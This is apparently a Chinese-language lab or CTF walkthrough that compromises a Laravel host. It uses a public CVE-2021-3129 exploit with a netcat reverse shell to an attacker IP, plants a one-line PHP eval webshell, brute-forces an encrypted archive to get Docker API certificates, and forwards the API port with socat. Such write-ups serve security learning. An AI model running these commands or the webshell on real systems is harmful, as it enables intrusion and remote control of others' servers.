80端口看起来没有东西，8000端口是个laravel，看起来是要打现有的poc。感觉是要去打CVE-2021-3129，但是试了几个poc都打不通。
joshuavanderpoll/CVE-2021-3129: Laravel RCE Exploit Script - CVE-2021-3129 (user-friendly with automatic log detection)这份可以打通。
直接反弹shell。
python3 poc.py --host http://192.168.10.13:8000/ --exec "busybox nc 192.168.10.11 6666 -e /bin/sh" --no-cache --force --chain laravel/rce12
发现好像提升不了稳定shell，看了一眼根目录发现.dockerenv，应该是docker环境了。不知道咋下手，没有学过docker逃逸。然后发现可以直接在/var/www/html下写马。直接往80端口下写马。
echo '<?php @eval($_POST["cmd"]);?>' > z.php
cat z.php
<?php @eval($_POST["cmd"]);?>
蚁剑连接拿下uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)权限。
注意到alice用户下发现openssl enc -aes-256-cbc -in certs.tar.gz -out tar.gz.enc -iter 10000 -pbkdf2还有一个.enc文件。
蚁剑下载不下来，直接xxd -p .enc然后from hex搞下来
让ai写个爆破脚本解密一下，密码060606拿到certs，是docker api凭证。socat把流量转发出来。./socat TCP-LISTEN:1234,fork,bind=0.0.0.0 TCP:127.0.0.1:2376
